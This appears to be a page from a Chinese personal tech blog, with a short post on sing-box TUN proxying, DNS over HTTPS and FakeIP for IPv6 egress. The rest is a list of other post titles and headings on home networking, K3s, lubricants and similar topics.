手机通过TUN虚拟网卡接管L3/L4层流量，对于应用而言，代理的存在是透明的。

DNS解析流程：

浏览器访问：www.google.com -> 启动DNS解析 -> TUN虚拟网卡接管流量，截取DNS请求并转发至SingBox的DNS模块 -> SingBox通过DoH将请求发送至VPS -> VPS获取到Google的地址并返回给浏览器。

访问阶段：

浏览器访问：www.google.com -> 已获取IP地址后，通过TUN虚拟网卡将流量引导至VPS -> 根据规则选择出口进行连接。

 graph TD
 A[浏览器] --> B[TUN代理]
 B --> C[DNS解析]
 C --> D[FakeIP返回]
 D --> E[VPS]
 E --> F[Google IPv6地址]
 F --> G[出站流量]

控制IPv6出站的细节

分流要点：

通常我会使用IPv4进行翻墙处理，因为大部分区域和应用只支持IPv4地址。
若希望将Google流量通过IPv6分流，则需要确保DNS解析阶段返回Google的IPv6地址。否则，无法通过IPv6出站。

为此，使用FakeIP是最简单的方式。在墙内阶段，首先将FakeIP返回给客户端进行DNS解析，之后在VPS出站时，SingBox会重新发起DNS解析，确保通过IPv6进行访问。

Hello

Wed, 01 Jan 2025 00:00:00 +0000

欢迎来到我的博客

支持mermaid

 graph TD
 A[Start] --> B[Process]
 B --> C[End]

My Blog

我的全屋 Wi-Fi 无缝漫游拓扑调优实战

一、 背景与痛点：被黑盒支配的家庭网络

二、 核心硬核知识：Wi-Fi 底层协议栈

1. IEEE 无线漫游三剑客（802.11k/v/r）

2. 802.11k/v/r 漫游切换机制全景图

3. 2.4G 与 5G 的代际演进（Wi-Fi 联盟标准）

Google Calendar 调教指南：如何优雅地处理节假日补全与视觉降噪

1. 订阅更完整的中国日历

2. 视觉降噪：让参考信息回归背景

差点把WD40当作金属润滑剂。。。

背景：差点把WD40当作金属润滑剂。。。

常用润滑剂全书：从门闩到链条

1. 渗透松动剂（代表：原版 WD-40）

2. 干性润滑剂（代表：PTFE/特氟龙、石墨粉）

3. 硅质润滑剂（Silicone Lubricant）

4. 润滑脂（Grease，俗称“黄油”）

5. 缝纫机油 / 白油（矿物润滑油）

快速查表：我该用哪个？

飞牛OS (fnOS) 目录遍历 0day 漏洞复现与分析报告

0x01 背景概述

0x02 漏洞复现原理

步骤 1：筛选暴露在公网的受影响资产

步骤 2：构造利用链接进行越权访问

0x03 辅助渗透工具 (油猴脚本)

K3s 数据备份实践：基于 RustFS 与 Cloudflare R2 的双重保险

K3s 数据备份实践：基于 RustFS 与 Cloudflare R2 的双重保险

背景

技术选型

存储组件对比

K3s 环境下基于 FluxCD 与 Reloader 的轻量级 GitOps 实践

K3s 环境下基于 FluxCD 与 Reloader 的轻量级 GitOps 实践

1. 背景：为什么需要 GitOps？

2. 技术选型：FluxCD vs ArgoCD

3. FluxCD 核心组件与工作流

4. 部署方案：Kustomize 远程引用

K3s 组网下的私有 GitOps 中心：Gitea 部署实践

K3s 组网下的私有 GitOps 中心：Gitea 部署实践

1. 背景与选型

为什么选择 Gitea？

2. 核心架构设计

3. 部署要点与“避坑”指南

权限初始化（关键）

针对 TS 组网的优化

基于 Tailscale 构建跨云 K3s 集群实践

基于 Tailscale 构建跨云 K3s 集群实践

1. 背景与方案选型

2. 前置准备：Tailscale 配置

2.1 获取 ACL 权限与 Token

3. 集群部署

3.1 安装 Tailscale (所有节点)

k3s 体验：从 docker-compose 到轻量级集群

k3s 体验：从 docker-compose 到轻量级集群

项目背景

k3s 是什么？

k3s 与 k8s：叫法和架构上的一点区别

CNIX 服务器安全开放 Socket 端口指南）

CNIX 服务器安全开放 Socket 端口指南

1. 背景说明

2. 安全策略设计：为什么要限制 IP

3. firewalld 规则配置（允许阿里云前置访问）

3.1 基础规则

NodePass 新手入门教程

🚀 NodePass 新手入门教程

📌 背景介绍

✔ NodePass

✔ 哆啦A梦转发面板

🧠 NodePass 关键概念（新手必须理解）

1. Master（主控 / 控制平面）

从 20MB/s 到 185MB/s：一次 Linux 下 USB 传输瓶颈排查实录

🚀 从 20MB/s 到 185MB/s：一次 Linux 下 USB 传输瓶颈排查实录

🧩 背景

一、初步排查：确认 USB 接口与识别情况

CryptCoin - BTC 篇

一、背景

二、前置知识

1. 挖矿原理

2. 算法与计算

3. 矿池（Pool）

4. 挖矿工具

一、背景与痛点：被黑盒支配的家庭网络

二、核心硬核知识：Wi-Fi 底层协议栈